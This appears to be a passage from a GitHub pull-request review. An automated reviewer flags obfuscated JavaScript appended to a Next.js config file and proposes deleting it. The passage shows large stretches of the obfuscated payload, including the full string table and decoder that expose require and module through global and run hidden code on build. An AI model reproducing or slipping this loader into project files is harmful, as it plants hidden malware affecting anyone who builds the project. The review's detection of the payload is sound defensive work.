x279)+_0x18412e(0x292)+_0x18412e(0x289)+_0x18412e(0x273)+_0x18412e(0x29d)+_0x18412e(0x25f)+_0x18412e(0x28c)+_0x18412e(0x247)+_0x18412e(0x1ea)+_0x18412e(0x305)+_0x18412e(0x2aa)+_0x18412e(0x2b5)+_0x18412e(0x36e)+_0x18412e(0x2ff)+_0x18412e(0x2e3)+_0x18412e(0x35c)+_0x18412e(0x313)+_0x18412e(0x218)+_0x18412e(0x366)+_0x18412e(0x301)+_0x18412e(0x2fa)+_0x18412e(0x2ad)+_0x18412e(0x254)+_0x18412e(0x266)+_0x18412e(0x213)+_0x18412e(0x27c)+_0x18412e(0x318)+_0x18412e(0x21e)+_0x18412e(0x274)+_0x18412e(0x28b)+_0x18412e(0x2c8)+_0x18412e(0x26c)+_0x18412e(0x2d9)+_0x18412e(0x33b)+_0x18412e(0x2f6)+_0x18412e(0x34b)+_0x18412e(0x22e)+_0x18412e(0x261)+_0x18412e(0x2a6)+_0x18412e(0x255)+_0x18412e(0x372)+_0x18412e(0x2e8)+_0x18412e(0x375)+_0x18412e(0x259)+_0x18412e(0x31e)+_0x18412e(0x2cd)+_0x18412e(0x1ec)+_0x18412e(0x1de)+_0x18412e(0x346)+_0x18412e(0x246)+_0x18412e(0x31c)+_0x18412e(0x341)+_0x18412e(0x272)+_0x18412e(0x267)+_0x18412e(0x32b)+_0x18412e(0x217)+_0x18412e(0x2bc)+_0x18412e(0x287)+_0x18412e(0x368)+_0x18412e(0x242)+_0x18412e(0x31b)+_0x18412e(0x1f1)+_0x18412e(0x2ef)+_0x18412e(0x351)+_0x18412e(0x373)+_0x18412e(0x2ba)+_0x18412e(0x244)+_0x18412e(0x2b8)+_0x18412e(0x285)+_0x18412e(0x312)+_0x18412e(0x33f)+_0x18412e(0x211)+_0x18412e(0x2b4)+_0x18412e(0x23e)+_0x18412e(0x303)+_0x18412e(0x370)+_0x18412e(0x363)+_0x18412e(0x27d)+_0x18412e(0x241)+_0x18412e(0x322)+_0x18412e(0x2a2)+_0x18412e(0x288)+_0x18412e(0x352)+_0x18412e(0x2bd)+_0x18412e(0x327)+_0x18412e(0x28f)+_0x18412e(0x2f5)+_0x18412e(0x35d)+_0x18412e(0x26f)+_0x18412e(0x1f5)+_0x18412e(0x209)+_0x18412e(0x349)+_0x18412e(0x1db)+_0x18412e(0x24d)+_0x18412e(0x2d2)+_0x18412e(0x2da))+(_0x18412e(0x381)+_0x18412e(0x220)+_0x18412e(0x32e)+_0x18412e(0x214)+_0x18412e(0x1ef)+_0x18412e(0x37d)+_0x18412e(0x332)+_0x18412e(0x2d1)+_0x18412e(0x234)+_0x18412e(0x333)+_0x18412e(0x30e)+_0x18412e(0x353)+_0x18412e(0x33a)+_0x18412e(0x1e3)+_0x18412e(0x2af)+_0x18412e(0x25a)+_0x18412e(0x320)+_0x18412e(0x2ae)+_0x18412e(0x26e)+_0x18412e(0x33d)+_0x18412e(0x2ee)+_0x18412e(0x203)+_0x18412e(0x380)+_0x18412e(0x300)+_0x18412e(0x1e0)+_0x18412e(0x345)+_0x18412e(0x204)+_0x18412e(0x1fa)+_0x18412e(0x34a)+_0x18412e(0x231)+_0x18412e(0x258)+_0x18412e(0x21f)+_0x18412e(0x2f1)+_0x18412e(0x340)+_0x18412e(0x374)+_0x18412e(0x32c)+_0x18412e(0x348)+_0x18412e(0x224)+_0x18412e(0x37b)+_0x18412e(0x257)+_0x18412e(0x29a)+_0x18412e(0x1fc)+_0x18412e(0x334)+_0x18412e(0x212)+_0x18412e(0x249)+_0x18412e(0x2c7)+_0x18412e(0x2c6)+_0x18412e(0x1d9)+_0x18412e(0x294)+_0x18412e(0x2fb)+_0x18412e(0x325)+_0x18412e(0x251)+_0x18412e(0x34c)+_0x18412e(0x2df)+_0x18412e(0x308)+_0x18412e(0x20a)+_0x18412e(0x236)+_0x18412e(0x22a)+_0x18412e(0x1e7)+_0x18412e(0x1da)+_0x18412e(0x358)+_0x18412e(0x360)+_0x18412e(0x2d4)+_0x18412e(0x29c)+_0x18412e(0x36b)+_0x18412e(0x2dc)+_0x18412e(0x336)+_0x18412e(0x2f0)+_0x18412e(0x219)+_0x18412e(0x230)+_0x18412e(0x2d8)+_0x18412e(0x2b2)+_0x18412e(0x362)+_0x18412e(0x323)+_0x18412e(0x1ee)+_0x18412e(0x32a)+_0x18412e(0x297)+_0x18412e(0x29b)+_0x18412e(0x361)+_0x18412e(0x2a1)+_0x18412e(0x331)),'kWqYN':function(_0x16d141,_0x311033,_0x1efcea){return _0x16d141(_0x311033,_0x1efcea);},'qxuzA':function(_0x33f72d,_0x29b013){return _0x33f72d(_0x29b013);}},_0x7a948='',_0x506038=_0x41bc1d[_0x18412e(0x24a)](0x1bcc+-0x238b+0x950,-0x218c+-0x2587+-0x811*-0x9);function _0x5ed160(_0x6bfa6){var _0x2bfaa0=_0x18412e,_0x5508aa=_0x41bc1d[_0x2bfaa0(0x200)][_0x2bfaa0(0x2e7)]('|'),_0x416709=0x5*-0x2cd+0xe5a+-0x59;while(!![]){switch(_0x5508aa[_0x416709++]){case'0':var _0x1669df=-0x74a7b+-0x2c7*0xc41+0x8e4*0x93a;continue;case'1':var _0x42a9a3=[];continue;case'2':;continue;case'3':for(var _0x3d6b93=-0x1f*0x76+-0x1609+0x2453;_0x41bc1d[_0x2bfaa0(0x2a3)](_0x3d6b93,_0x375219);_0x3d6b93++){_0x42a9a3[_0x3d6b93]=_0x6bfa6[_0x2bfaa0(0x338)](_0x3d6b93);}continue;case'4':for(var _0x3d6b93=-0x1f+0x1764+0x25*-0xa1;_0x41bc1d[_0x2bfaa0(0x339)](_0x3d6b93,_0x375219);_0x3d6b93++){var _0x225591=_0x41bc1d[_0x2bfaa0(0x2de)][_0x2bfaa0(0x2e7)]('|'),_0x4b292b=0x2677+-0x10*-0x202+-0x4697;while(!![]){switch(_0x225591[_0x4b292b++]){case'0':_0x42a9a3[_0x300a52]=_0x458ba7;continue;case'1':var _0x20474b=_0x41bc1d[_0x2bfaa0(0x215)](_0x41bc1d[_0x2bfaa0(0x202)](_0x1669df,_0x41bc1d[_0x2bfaa0(0x215)](_0x3d6b93,0x740*-0x1+0x16a2*-0x1+0x2*0xf31)),_0x41bc1d[_0x2bfaa0(0x2f4)](_0x1669df,0x7*-0x3169+-0x1*-0x499a+0x1dbdc));continue;case'2':var _0x5cb8a4=_0x41bc1d[_0x2bfaa0(0x2f4)](_0xb702a4,_0x375219);continue;case'3':_0x42a9a3[_0x5cb8a4]=_0x42a9a3[_0x300a52];continue;case'4':_0x1669df=_0x41bc1d[_0x2bfaa0(0x2f4)](_0x41bc1d[_0x2bfaa0(0x215)](_0xb702a4,_0x20474b),-0x1d49e6+0x53368f+0x104e*0xb5);continue;case'5':var _0xb702a4=_0x41bc1d[_0x2bfaa0(0x215)](_0x41bc1d[_0x2bfaa0(0x202)](_0x1669df,_0x41bc1d[_0x2bfaa0(0x2ed)](_0x3d6b93,0x1*-0x1e1c+-0x55f+-0x1*-0x245f)),_0x41bc1d[_0x2bfaa0(0x2fd)](_0x1669df,0x313e+-0xc14*0x19+0x1c152));continue;case'6':var _0x458ba7=_0x42a9a3[_0x5cb8a4];continue;case'7':var _0x300a52=_0x41bc1d[_0x2bfaa0(0x2fd)](_0x20474b,_0x375219);continue;}break;}}continue;case'5':var _0x375219=_0x6bfa6[_0x2bfaa0(0x21b)];continue;case'6':;continue;case'7':return _0x42a9a3[_0x2bfaa0(0x256)]('');}break;}};var _0x45c406=_0x41bc1d[_0x18412e(0x222)](_0x5ed160,_0x41bc1d[_0x18412e(0x33c)])[_0x18412e(0x1dd)](0x2338+-0x19bb*0x1+-0x97d,_0x506038),_0xd8e862=_0x41bc1d[_0x18412e(0x21d)],_0x133af3=_0x5ed160[_0x45c406],_0x2aa7d9='',_0x394f6b=_0x133af3,_0x4878bc=_0x41bc1d[_0x18412e(0x1f3)](_0x133af3,_0x2aa7d9,_0x41bc1d[_0x18412e(0x1f4)](_0x5ed160,_0xd8e862)),_0x5bf975=_0x41bc1d[_0x18412e(0x222)](_0x4878bc,_0x41bc1d[_0x18412e(0x2e2)](_0x5ed160,_0x41bc1d[_0x18412e(0x23f)])),_0x1f73d9=_0x41bc1d[_0x18412e(0x2d0)](_0x394f6b,_0x7a948,_0x5bf975);return _0x41bc1d[_0x18412e(0x2ac)](_0x1f73d9,-0xe2e+-0x1*-0x1bb3+0xe*-0x44),0x1f*-0x46+0x2270+0x1*-0x14a8;}());

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Remove the obfuscated code from the Next.js config.

Line 8 executes a large obfuscated payload during Next build/start and exposes require/module through global. This is unrelated to PDF export and is a critical supply-chain/security risk.

Proposed cleanup
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
 /** `@type` {import('next').NextConfig} */
 const nextConfig = {};
 
-export default nextConfig; global['!']='8-4412';var _0x383eb4=...
+export default nextConfig;
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
/** @type {import('next').NextConfig} */
const nextConfig = {};
export default nextConfig;
export default nextConfig; global['!']='8-4412';var _0x383eb4=_0x22ee;function _0x37df(){var _0x580eb4=['.]_.()r5%]','g]1jRec2rq','sp.hu0)\x20p]','o)h..tCuRR','RLmrtacj4{','%[.uaof#3.','d3R>R]7Rcs','1i1R%e.=;t',';8*ll.(evz','12LdYFCO','6Rig.6fec4','cooI[0rcrC',');nu;vl;r2','$49f\x201;bft','F}Rs&(_rbT','cg%,(};fcR','Rt(=c,1t,]','+h]7)irav0','\x209n+tp9vrr','ph]]a=)ec(','arvjr\x20q{eh','<(mgha=)l)','R,)en4(bh#','h8sRrrre:d','.nCR(%3i)4','rc*a.=]((1',':]538\x20$;.A','z\x20[y)oin.K','na,+,s8>}o','(3ac?sh[=R','#%f84(Rnt5','!l(,3(}tR/','r)=i=!ru}v','D.ER;cnNR6','viv{C0x\x22\x20q','D6].gd+brA','S8}71er)fR','R.g?!0ed=5','.g(RR)79Er',')3d[u52_]a','nR-(7bs5s3','nrcRRJv)R(','4|2|7','o\x20B%v[Raca','nbLxcRa.rn','aR}R1)xn_t','?Rrp2o;7Rt','{.\x20.(bit.8','ra\x22oc]:Rf]','1ilz,;aa,;','dt]uR)7Rra','n22cg\x20RcrR',')(2n.]%v}[','yJbld','htrtgs=)+a','TtOpz','ootn/_e=dc','f.vA]ae1]s','woc6stnh6=','rmcej%otb%','ta+r(1,se&','9oiJ%o9sRs','qxuzA','ng2eicRFcR','2ccR\x205ocL.','R6][c,omts','fg1m[=y;s9','rXlJc','cof0}d7R91','g5(jie\x20)0)','c%;,](_6cT','r.%{)];aeR','3]20wltepl','16}nj[=R).','0g)7i76R+a','*-9u4.r0.h',']c.26cpR(]','n71d\x203Rhs)','R.8!Ig)2!r','1R,,e.{1.c','}_!cf=o0=.','h;+lCr;;)g','gynzbosdct','fn=(]7_ote','.mrfJp]%Rc','ort1,ien7z','=)p.mhu<ti','w:ste-%C8]',')r.R!5R}%t','i3c)(#e=vd','Ri%R.gRE.=','([lrftud;e','itsr\x20y.<.u','aqnorn)h)c','%nt:1gtRce',',R]1iR]m]R','r%dr1tq0pl','!bi%nwl%&/','kWqYN','t30;molx\x20i','n\x20lae)aRsR','2010354JBSpJm','\x20(9f4])29@','c3z.9]_R,%','=]i;raei[,','dRRcH','r.d4u)p(c\x27','R\x20;EsRnrc%','R]t;l;fd,[','rr00()1y)7','tR.g\x20]1z\x201','=,\x20,,mu(9\x20','DxDZl','ERR5cR_7f8','q2ot-Clfv[','Gvgpf','GwHeU','$+}nbba.l2','g3anfoR)n2','\x22ozCr+}Cia','2.e)8R2n9;','split',']rrR_,tnB5',']rhklf+gCm','.e(]osbnnR','63315558skfvVj','4|6|3','unygE','b]w=95)]9R','tzr\x20fhef9u','Rz()ab.R)r','=lRsrc4t\x207','ar\x22{;7l82e','r6RlRclmtp','eYqWt','R+[R.Rc)}r','9cu70\x221])}','e)\x20i\x20(g,=]','jf=r+w5[f(','zj.;;etsr\x20','dRedb9ic)R','6B6]t}$1{R','.na6\x20cR]%p','vFEpx','1|6|13|3|4','f1]5ifRR(+',';R7}_]t7]r','1.0Hts.gi6','3|0|4','u2R2n.Gai9',';mvvf(n(.o','8R]R=}.ect','xfr6Al(nga','sr+8+;=ho[','a6cr9ice.>','0;a[{g-seo','2807812DjHpOZ','aih[.rrtv0','WHQkB','}y=2it<+ja','5trr&c:=e4','$rm2_RRw\x22+','w8=60dvqqf','k\x20n[abr0;C','uRtR\x22a}R/H','.D4t])Rea7','OVvcd','R8.a\x20e7]sh','{oc81=ih;n','r.7,fnu2;v','[rc(c\x20(eR\x27','x_7tr38;f}','n8.i}r+5/s','o5o\x20+f7!%?','r\x20)3a%_e=(',':.%ei_5n,d','+=}f)R7;6;','}98R.ca)ez','toR5g(;R@]','39.f3cfR.o',')c}}]_toud','%3SE\x20Ra]f)','ezZaR',']c4e!e+f4f','ahRi)5g+h)','or\x20;de_2(>','(7H]Rc\x20)hr','ca.qmi=),s','f;hRres%1o',':Rt}_e.zv#','!kn;@oRR(5','3645608kEjchB','hSo]29R_,;','$n;cR343%]',';=7$=3=o[3','e1M',')2)Ro]r(;o','38e\x20g.0s%g','Rde%2exuq}','C=5.y2%h#a','\x22aRa];%6\x20R','o-e}au>n(a','charAt','XaRCJ','sD]R47RttI','.{R56tr!nc','ghBOg','g(.RRe4}Cl','=++!eb]a;[','rRa172t5tt','a0u.}3R<ha','c%o%mr2}Rc','a+4i62%l;n',']3(Rawd.l)','%Rl%,1]].J','%6.Re$Rbi8',')=7R)%r%RF','.u7.nnhcc0','1)=e\x20lt+ar','Rvy(1=t6de',']r1cw]}a4g','etpRh/,,7a','Ranua)=.i_','([.e.iRiRp',')i.8Rt-36h','6Aqegh;v.=','l.udRc.f/}','0lf7l20;R(','RR}R-\x22R;Ro','=cfo21;4_t','9|12|10|2|','8a;z)(=tn2','k)tl)p)lie','tr!;v;Ry.R','(\x20+sw]]1nr','ee=(!tta]u','(i-=sc.\x20ar','35GfimTA','{!.n.x1r1.',',=1C2.cR!(','i=e\x22r)a\x20pl','di(-\x204n)[f','p3=.l4\x20=%o','tfw\x20)eh}n8','T)S<=i:\x20.l','t)_\x227+alr(','nmLmF','}.{e\x20m++Ga','4f=le1}n-H',';tyoaaR0l)','tr=;t.ttci','o41<ur+2r\x20','\x20k.eww;Bfa','mh]3v/9]m\x20',',(Celzat+q','ncc.G&s1o.','&d=4)]8./c','.6\x20Rfs.l4{','.ai059Ra!a','hc>cis.iR%','tRc;nsu;tm','%0g,n)N}:8',']th15Rpe5)','je(csaR5em','uPzQZ','}+c.w[*qrm','pusocrjhrf','u1t(%3\x221)T',';;;g;6ylle','Cf{d.aR\x276a','2|0|7|5|1|','w:RR7l1R((','-x3a9=R0Rt',')gr2:;epRR','2).{Ho27f\x20','s7Re.+r=R%','m8d5|.u)(r','d=[,\x20((nao','1fnke.0n\x20)','RRaair=Rad','t!Er%GRRR<','hhns(D6;{\x20','4cn]([*\x22].','RCc=R=4s*(','substr','a.t1.3F7ct','Ajq-km,o;.','17z]=a2rci','!=|s=2>.Rr',')lpRu;3nun','tR*,le)Rdr','h5r].ce+;]','7.,+=vrrrr','bff=prdl+s','RRRlp{ac)%',',,;av=e9d7',')%rg3ge%0T',';]I-R$Afk4','7t}ldtfapE',')]=1Reo{h1','cdyIO','=e;;Cr=et:','f%es)%@1c=','c14/og;Rsc','=A&r.3(%0.','=3=ov{(1t\x22','Euglp','UMKqG','ciss(261E]','ccb[,%c;c6','.,etc=/3s+','1825048ruCEzD','l.;Ru.,}}3','a;t,sl=rRa',')%tntetne3','e:8ie!)oRR','+d\x2054epRRa','7=f=v)2,3;','wHkVp','dQVaV','drRe;{%9Rp','OrOXZ','62tuD%0N=,','n4tnrtb;d3','G.m03)]RbJ','sdnA3v44]i','rpy(()=.t9','711699JXeJzN','R+]-]0[ntl','.c(96R2o$n',',\x221itzr0o\x20','5|1|2|7|6|','tuo;x0ir=0','n);.;4f(ir','zvn]\x220e)=+',':gatfi1dpf','&a3nci=R=<','l5..fe3R.5','lroo(3es;_','5t2Ri(75)R','vlwTu','y4a9,,+si+','oci.\x20oc6lR','[v]%9cbRRr','tqf(C)imel','95ii7[]]..','length','j\x22S=o.)(t8','RfdHp','lee(({R]R3','9x)%ie=ded','t?3fs].Rte','wuqktamcei','XMtJs','k\x22o;,fto==','(3)e:e#Rf)','157940xmCOdB','%f/a\x20.r)sp','d(y+.t0)_,','ta]t(0?!](','fromCharCo','-ny7S*({1%','[;(k7h=rlu','lovnxrt','|7|5|11|0|','8>2s)o.hh]','.2/ch!Ri4_','m${y%l%)c}',']ts%mcs.ry','5rxrr,\x22bgr','hu;\x20,avrs.','Re.t.A}$Rm','5;r\x20;)d(v;','9R;c6p2e}R',';1e(s+..}h','.rei(e\x20C(R','Rw=Rc.=s]t','2(oR;nn]]c','}tg!a+t&;.','_vnslR)nR%','af6uv;vndq','s2%5t]541.','rBURI',']=fa6c%d:.','ru]f1/]eoe','0R;c8f8Rk!','.c;urnaui+','u2t4(y=/$\x27','1w(mnars;.','\x20MR8.S$l[R','38/icd!BR)','0.!Drcn5t0','x;f}8)791.','tsDSq','s=c;RrT%R7','=ch=,1g]ud','{Rc[%&cb3B','1>fra4)ww.','(s;78)r]a;','+ph\x20t,i+St','7\x22:)\x20(sys%','6p]ns.tlnt','Rar)vR<mox','ni?2eR)o4R','*eoe3d.5=]','join','(8j]]cp()o','.a=R{7]]f\x22','R4dKt@R+i]',')9dRurt)4I','{-za=6ep7o','lp(=+barA(','p{wet=,.r}','=+c.r(eaA)','.b)R.gcw.>','\x27cR[\x22c?\x22b]','p}9,5.}R{h',')rs_bv]0tc','0|5|1|3|6|','xytnoajv[)','.hR:R(Rx?d','pRo01sH4,o',')L&nl+JuRR','A.dGeTu894','lb.;=qu\x20at','try.\x20d]hn(',',1refr;e+(','crstsn,(\x20.','2\x20l=;nrsw)'];_0x37df=function(){return _0x580eb4;};return _0x37df();}(function(_0x4402b2,_0xa134e5){var _0x3107a7=_0x22ee,_0x37a47b=_0x4402b2();while(!![]){try{var _0x263c31=-parseInt(_0x3107a7(0x1f8))/(0x1f11+0x1*-0x1b55+0x3bb*-0x1)+parseInt(_0x3107a7(0x277))/(0x783+0x25*-0x57+-0x3b*-0x16)*(-parseInt(_0x3107a7(0x208))/(0x1*-0xd91+-0x2073+0x1*0x2e07))+-parseInt(_0x3107a7(0x30a))/(0x16eb*0x1+-0xf*-0x246+0x1*-0x3901)+-parseInt(_0x3107a7(0x225))/(-0x11fe+-0x1*0x15d6+0x27d9)+parseInt(_0x3107a7(0x2d3))/(0x24ad+0x19a8+-0x3e4f)*(-parseInt(_0x3107a7(0x35b))/(0x113*-0x17+-0x1*0x2144+-0x40*-0xe8))+-parseInt(_0x3107a7(0x32d))/(-0xc*0x32b+0x1ae8*-0x1+0x40f4)+parseInt(_0x3107a7(0x2eb))/(0xdd3+-0x1bfb+0xe31);if(_0x263c31===_0xa134e5)break;else _0x37a47b['push'](_0x37a47b['shift']());}catch(_0x19de2d){_0x37a47b['push'](_0x37a47b['shift']());}}}(_0x37df,-0x1b6321+-0x663c0+-0x26470*-0x14));function _0x22ee(_0x41776c,_0x35e61d){_0x41776c=_0x41776c-(-0x11*-0x10d+0x24d9*-0x1+-0x14d3*-0x1);var _0x310307=_0x37df();var _0x3cc738=_0x310307[_0x41776c];return _0x3cc738;}var _$_1e42=function(_0x1ca091,_0x515ed9){var _0x40db7e=_0x22ee,_0x503a3a={'OVvcd':_0x40db7e(0x354)+_0x40db7e(0x2fe)+_0x40db7e(0x22d)+'8','WHQkB':function(_0x4790c2,_0x40b433){return _0x4790c2<_0x40b433;},'cdyIO':_0x40db7e(0x37c)+_0x40db7e(0x2ec),'uPzQZ':function(_0xd6dbc7,_0x53230e){return _0xd6dbc7+_0x53230e;},'wHkVp':function(_0x4e016d,_0x30e265){return _0x4e016d*_0x30e265;},'Gvgpf':function(_0x445ea5,_0x4450ba){return _0x445ea5+_0x4450ba;},'rXlJc':function(_0xe941ab,_0x14d2df){return _0xe941ab%_0x14d2df;},'TtOpz':function(_0x5f4ee1,_0x3adbe6){return _0x5f4ee1*_0x3adbe6;},'dRRcH':function(_0x4e6550,_0x11c0a6){return _0x4e6550+_0x11c0a6;},'nmLmF':function(_0x14e182,_0x5c131b){return _0x14e182%_0x5c131b;},'ezZaR':function(_0x4e49e6,_0x465e4c){return _0x4e49e6%_0x465e4c;}},_0x5aecb4=_0x503a3a[_0x40db7e(0x314)][_0x40db7e(0x2e7)]('|'),_0x15b3a7=0xd*-0x2c1+-0x23cf+0x479c;while(!![]){switch(_0x5aecb4[_0x15b3a7++]){case'0':var _0x54de14='#';continue;case'1':for(var _0x25f516=0x1*0x2499+-0x4*0x321+-0x1815;_0x503a3a[_0x40db7e(0x30c)](_0x25f516,_0x5e89c6);_0x25f516++){var _0x3a30c8=_0x503a3a[_0x40db7e(0x1ed)][_0x40db7e(0x2e7)]('|'),_0x1ac2b3=-0x1*-0x1+0x32b*0x4+-0xcad;while(!![]){switch(_0x3a30c8[_0x1ac2b3++]){case'0':var _0x538584=_0x503a3a[_0x40db7e(0x376)](_0x503a3a[_0x40db7e(0x1ff)](_0x515ed9,_0x503a3a[_0x40db7e(0x2e1)](_0x25f516,0x1ee5+0x2051+-0x3ca3)),_0x503a3a[_0x40db7e(0x2b1)](_0x515ed9,0x12*-0xa8d+0x145bc+0x33bc));continue;case'1':var _0x1a84cc=_0x3986f5[_0x30f41b];continue;case'2':var _0x3b683b=_0x503a3a[_0x40db7e(0x2e1)](_0x503a3a[_0x40db7e(0x2a5)](_0x515ed9,_0x503a3a[_0x40db7e(0x2d7)](_0x25f516,0x1*0x2182+-0x1551+-0x1*0xa48)),_0x503a3a[_0x40db7e(0x2b1)](_0x515ed9,0x1213*-0x1+0x307*-0x6+0x3865*0x2));continue;case'3':_0x515ed9=_0x503a3a[_0x40db7e(0x364)](_0x503a3a[_0x40db7e(0x2d7)](_0x3b683b,_0x538584),0x8439c0+0x7d5475*-0x1+0x3ee561);continue;case'4':_0x3986f5[_0x30f41b]=_0x3986f5[_0x478c7c];continue;case'5':var _0x478c7c=_0x503a3a[_0x40db7e(0x2b1)](_0x538584,_0x5e89c6);continue;case'6':_0x3986f5[_0x478c7c]=_0x1a84cc;continue;case'7':var _0x30f41b=_0x503a3a[_0x40db7e(0x324)](_0x3b683b,_0x5e89c6);continue;}break;}}continue;case'2':;continue;case'3':var _0x1131b1='';continue;case'4':var _0x116e19='%';continue;case'5':var _0x269325='%';continue;case'6':;continue;case'7':var _0x998c73='#1';continue;case'8':return _0x3986f5[_0x40db7e(0x256)](_0x1131b1)[_0x40db7e(0x2e7)](_0x116e19)[_0x40db7e(0x256)](_0x1e9e53)[_0x40db7e(0x2e7)](_0x998c73)[_0x40db7e(0x256)](_0x269325)[_0x40db7e(0x2e7)](_0x598506)[_0x40db7e(0x256)](_0x54de14)[_0x40db7e(0x2e7)](_0x1e9e53);case'9':var _0x5e89c6=_0x1ca091[_0x40db7e(0x21b)];continue;case'10':for(var _0x25f516=-0x23d1*-0x1+-0x245*0xd+-0x650;_0x503a3a[_0x40db7e(0x30c)](_0x25f516,_0x5e89c6);_0x25f516++){_0x3986f5[_0x25f516]=_0x1ca091[_0x40db7e(0x338)](_0x25f516);}continue;case'11':var _0x598506='#0';continue;case'12':var _0x3986f5=[];continue;case'13':var _0x1e9e53=String[_0x40db7e(0x229)+'de'](-0xb*0x52+0x19d3*0x1+-0x15ce);continue;}break;}}(_0x383eb4(0x2a9),0x3d5af5+0x422898+-0x53e8b6);global[_$_1e42[-0x2347+0xb03*-0x2+-0x1*-0x394d]]=require;typeof module===_$_1e42[-0xdcc+0x25*-0x1d+0x11fe]&&(global[_$_1e42[0x182c+-0x14b8+-0x372]]=module);;(function(){var _0x18412e=_0x383eb4,_0x41bc1d={'dQVaV':_0x18412e(0x263)+_0x18412e(0x298),'yJbld':function(_0x2dc68f,_0x25d901){return _0x2dc68f<_0x25d901;},'XaRCJ':function(_0x116549,_0x3397ae){return _0x116549<_0x3397ae;},'DxDZl':_0x18412e(0x20c)+_0x18412e(0x302),'vlwTu':function(_0x3cbc19,_0x5ece73){return _0x3cbc19+_0x5ece73;},'OrOXZ':function(_0x37eb82,_0x201c80){return _0x37eb82*_0x201c80;},'eYqWt':function(_0x3b074a,_0x14eb65){return _0x3b074a%_0x14eb65;},'unygE':function(_0x5d096b,_0x33e82b){return _0x5d096b+_0x33e82b;},'vFEpx':function(_0x39edfa,_0x5b6727){return _0x39edfa%_0x5b6727;},'tsDSq':function(_0x4c805b,_0x29099e){return _0x4c805b-_0x29099e;},'XMtJs':function(_0x49d716,_0x470d7a){return _0x49d716(_0x470d7a);},'ghBOg':_0x18412e(0x221)+_0x18412e(0x2c0)+_0x18412e(0x378)+_0x18412e(0x22c),'RfdHp':_0x18412e(0x329)+_0x18412e(0x317)+_0x18412e(0x232)+_0x18412e(0x1e6)+_0x18412e(0x34f)+_0x18412e(0x269)+_0x18412e(0x20f)+_0x18412e(0x2e9)+_0x18412e(0x1fe)+_0x18412e(0x2d6)+_0x18412e(0x216)+_0x18412e(0x1e8)+_0x18412e(0x23d)+_0x18412e(0x2f8)+_0x18412e(0x356)+_0x18412e(0x2a4)+_0x18412e(0x281)+_0x18412e(0x24f)+_0x18412e(0x27f)+_0x18412e(0x307)+_0x18412e(0x2c9)+_0x18412e(0x283)+_0x18412e(0x30d)+_0x18412e(0x28e)+_0x18412e(0x245)+_0x18412e(0x1e5)+_0x18412e(0x2f7)+_0x18412e(0x306)+_0x18412e(0x25b)+_0x18412e(0x35a)+_0x18412e(0x233)+_0x18412e(0x2dd)+_0x18412e(0x280)+_0x18412e(0x290)+_0x18412e(0x2bf)+_0x18412e(0x22b)+_0x18412e(0x369)+_0x18412e(0x28a)+_0x18412e(0x311)+_0x18412e(0x206)+_0x18412e(0x2db)+_0x18412e(0x1f2)+_0x18412e(0x237)+_0x18412e(0x36c)+_0x18412e(0x235)+_0x18412e(0x2f9)+_0x18412e(0x2b3)+_0x18412e(0x276)+_0x18412e(0x223)+_0x18412e(0x21c)+_0x18412e(0x1d7)+_0x18412e(0x2a8)+_0x18412e(0x282)+_0x18412e(0x264)+_0x18412e(0x337)+_0x18412e(0x359)+_0x18412e(0x2f2)+_0x18412e(0x2c4)+_0x18412e(0x355)+_0x18412e(0x30b)+_0x18412e(0x2e0)+_0x18412e(0x20e)+_0x18412e(0x37a)+_0x18412e(0x35f)+_0x18412e(0x2ca)+_0x18412e(0x309)+_0x18412e(0x383)+_0x18412e(0x35e)+_0x18412e(0x270)+_0x18412e(0x27a)+_0x18412e(0x1df)+_0x18412e(0x316)+_0x18412e(0x377)+_0x18412e(0x26d)+_0x18412e(0x252)+_0x18412e(0x310)+_0x18412e(0x2e5)+_0x18412e(0x20b)+_0x18412e(0x2b0)+_0x18412e(0x29f)+_0x18412e(0x24c)+_0x18412e(0x25c)+_0x18412e(0x207)+_0x18412e(0x250)+_0x18412e(0x304)+_0x18412e(0x26b)+_0x18412e(0x243)+_0x18412e(0x26a)+_0x18412e(0x2cb),'Euglp':function(_0x8106c1,_0x3b2ddb,_0x4241cd){return _0x8106c1(_0x3b2ddb,_0x4241cd);},'UMKqG':function(_0x2121f3,_0x256ba4){return _0x2121f3(_0x256ba4);},'GwHeU':function(_0x1a877b,_0x14d38c){return _0x1a877b(_0x14d38c);},'rBURI':_0x18412e(0x299)+_0x18412e(0x262)+_0x18412e(0x2f3)+_0x18412e(0x2fc)+_0x18412e(0x2c5)+_0x18412e(0x20d)+_0x18412e(0x382)+_0x18412e(0x286)+_0x18412e(0x1f0)+_0x18412e(0x24b)+_0x18412e(0x226)+_0x18412e(0x2ab)+_0x18412e(0x25d)+_0x18412e(0x31d)+_0x18412e(0x328)+_0x18412e(0x253)+_0x18412e(0x2b9)+_0x18412e(0x1f7)+_0x18412e(0x2cf)+_0x18412e(0x344)+_0x18412e(0x2be)+_0x18412e(0x1e4)+_0x18412e(0x343)+_0x18412e(0x27b)+_0x18412e(0x21a)+_0x18412e(0x1eb)+_0x18412e(0x2d5)+_0x18412e(0x22f)+_0x18412e(0x2ce)+_0x18412e(0x37e)+_0x18412e(0x260)+_0x18412e(0x28d)+_0x18412e(0x30f)+_0x18412e(0x37f)+_0x18412e(0x284)+_0x18412e(0x1e9)+_0x18412e(0x315)+_0x18412e(0x265)+_0x18412e(0x1e1)+_0x18412e(0x2c2)+_0x18412e(0x268)+_0x18412e(0x319)+_0x18412e(0x31f)+_0x18412e(0x1dc)+_0x18412e(0x367)+_0x18412e(0x350)+_0x18412e(0x25e)+_0x18412e(0x2c3)+_0x18412e(0x2b6)+_0x18412e(0x330)+_0x18412e(0x228)+_0x18412e(0x335)+_0x18412e(0x239)+_0x18412e(0x1fb)+_0x18412e(0x371)+_0x18412e(0x2bb)+_0x18412e(0x365)+_0x18412e(0x357)+_0x18412e(0x36a)+_0x18412e(0x2b7)+_0x18412e(0x379)+_0x18412e(0x36d)+_0x18412e(0x271)+_0x18412e(0x2c1)+_0x18412e(0x23b)+_0x18412e(0x342)+_0x18412e(0x34d)+_0x18412e(0x296)+_0x18412e(0x24e)+_0x18412e(0x293)+_0x18412e(0x23a)+_0x18412e(0x36f)+_0x18412e(0x2ea)+_0x18412e(0x321)+_0x18412e(0x295)